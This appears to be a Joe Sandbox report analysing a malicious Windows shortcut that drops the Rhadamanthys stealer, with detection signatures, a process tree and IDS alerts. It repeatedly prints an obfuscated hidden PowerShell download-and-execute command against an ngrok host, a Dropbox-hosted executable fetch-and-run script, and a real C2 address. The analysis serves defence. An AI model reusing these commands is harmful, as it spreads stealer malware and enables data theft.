Edit tour

Windows Analysis Report
0J3fAc6cHO.lnk

Overview

General Information

Sample name:	0J3fAc6cHO.lnk renamed because original name is a hash value
Original sample name:	8cada476b5aafb44e1f9557552ca0dae8a174ef3aee47361b7b421d65d1df261(1).lnk
Analysis ID:	1576693
MD5:	d2d848346bc9a44be0141ba30c133cfc
SHA1:	646e74f17cc55e2d9631a2174adfd4d5b2e8412c
SHA256:	8cada476b5aafb44e1f9557552ca0dae8a174ef3aee47361b7b421d65d1df261
Tags:	Compilazioneprotetticopyrightlnkuser-JAMESWT_MHT
Infos:

Detection

RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

Yara detected RHADAMANTHYS Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Powerup Write Hijack DLL

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows shortcut file (LNK) contains suspicious command line arguments

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Detected suspicious crossdomain redirect

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6156 cmdline: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3480 cmdline: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 2380 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 1996 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2028,i,9691680658605753905,1504739169661148908,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8356 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\2055147785.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8532 cmdline: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }" MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 8436 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\5622253b-f54a-4cad-af64-795d524a2bab.pdf MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8416 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1012 --field-trial-handle=1968,i,15940542465096520038,8581582987264713649,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe (PID: 768 cmdline: "C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe" MD5: 9BFDFAADE8C1612270DA2A69959756A7)

933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe (PID: 6180 cmdline: "C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe" MD5: 9BFDFAADE8C1612270DA2A69959756A7)

fontdrvhost.exe (PID: 8004 cmdline: "C:\Windows\System32\fontdrvhost.exe" MD5: 8D0DA0C5DCF1A14F9D65F5C0BEA53F3D)

fontdrvhost.exe (PID: 4592 cmdline: "C:\Windows\System32\fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)

WerFault.exe (PID: 8060 cmdline: C:\Windows\system32\WerFault.exe -u -p 4592 -s 136 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 1628 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6180 -s 440 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 320 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msedge.exe (PID: 5300 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7296 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2568 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8272 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6488 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8328 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6624 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8664 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=6972 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=8376 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:6 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5036 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2500,i,16519408436557575134,16982295355618808567,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Malware Configuration

Threatname: Rhadamanthys

{"C2 url": "https://104.161.43.18:2845/7e56fc199c7194d0/qc1o4gn8.mjfvk"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000001B.00000003.3001358905.0000000002E10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001B.00000003.3007420769.00000000056F0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001C.00000003.3012717121.0000000005440000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001C.00000003.3009097724.0000000000E80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001B.00000002.3017348989.0000000003160000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001B.00000003.3007231833.00000000054D0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001C.00000002.3111497032.0000000003210000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe PID: 6180	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: fontdrvhost.exe PID: 8004	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
27.3.933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.56f0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
28.3.fontdrvhost.exe.5220000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
27.3.933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.54d0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
28.3.fontdrvhost.exe.5440000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
28.3.fontdrvhost.exe.5220000.6.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
27.3.933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.56f0000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
28.3.fontdrvhost.exe.5220000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3480, TargetFilename: C:\Users\user\AppData\Local\Temp\2055147785.bat

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3480, TargetFilename: C:\Users\user\AppData\Local\Temp\2055147785.bat

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }", CommandLine: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\2055147785.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8356, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=cqe2asmea4sh0uo2xxsstxzdd&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606'; }", ProcessId: 8532, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), CommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), CommandLine|base64offset|contains: F,, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6156, ParentProcessName: cmd.exe, ProcessCommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), ProcessId: 3480, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), CommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), ProcessId: 6156, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), CommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), CommandLine|base64offset|contains: F,, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6156, ParentProcessName: cmd.exe, ProcessCommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa2841 curl ; sal av96dc iEx ; av96dc(aa2841 -Uri https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606 -UseBasicParsing), ProcessId: 3480, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 320, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T12:12:20.692387+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49709	162.125.69.18	443	TCP
2024-12-17T12:12:36.888601+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49803	162.125.67.18	443	TCP

ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T12:13:40.739507+0100	2854802	1	Domain Observed Used for C2 Detected	104.161.43.18	2845	192.168.2.5	49976	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000019.00000002.2993935635.0000000002B45000.00000040.00000001.01000000.0000000F.sdmp

Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://104.161.43.18:2845/7e56fc199c7194d0/qc1o4gn8.mjfvk"}

Multi AV Scanner detection for submitted file

Source: 0J3fAc6cHO.lnk

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: 0J3fAc6cHO.lnk

Joe Sandbox ML: detected

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe

Unpacked PE file: 25.2.933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe.4870000.2.unpack

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49713 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 3.125.209.94:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.67.18:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.5:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.125.102.39:443 -> 192.168.2.5:49927 version: TLS 1.2

Source:	Binary string: nds.Utility.pdb source: powershell.exe, 00000010.00000002.2973334075.00000171C4770000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: softy.pdb source: powershell.exe, 00000010.00000002.2972350493.00000171C468E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000010.00000002.2972948333.00000171C4713000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2973334075.00000171C4770000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006708264.0000000005550000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3006591715.0000000002F90000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3012093700.0000000005340000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3011953918.0000000005220000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2972803577.00000171C46F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007420769.00000000056F0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3007231833.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3012432816.0000000005220000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: d:\assassin\assassin-playground\dx10_integration\main\output\win32\exe\scimitar_dx10_f.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000002.2992695808.000000000177E000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3014353749.000000000177E000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: ntdll.pdb source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3003010660.00000000054D0000.00000004.00000001.00020000.00000000.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000003.3004268530.00000000056C0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001C.00000003.3011106990.0000000005410000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbb7 source: powershell.exe, 00000010.00000002.2972803577.00000171C46F0000.00000004.00000020.00020000.00000000.sdmp
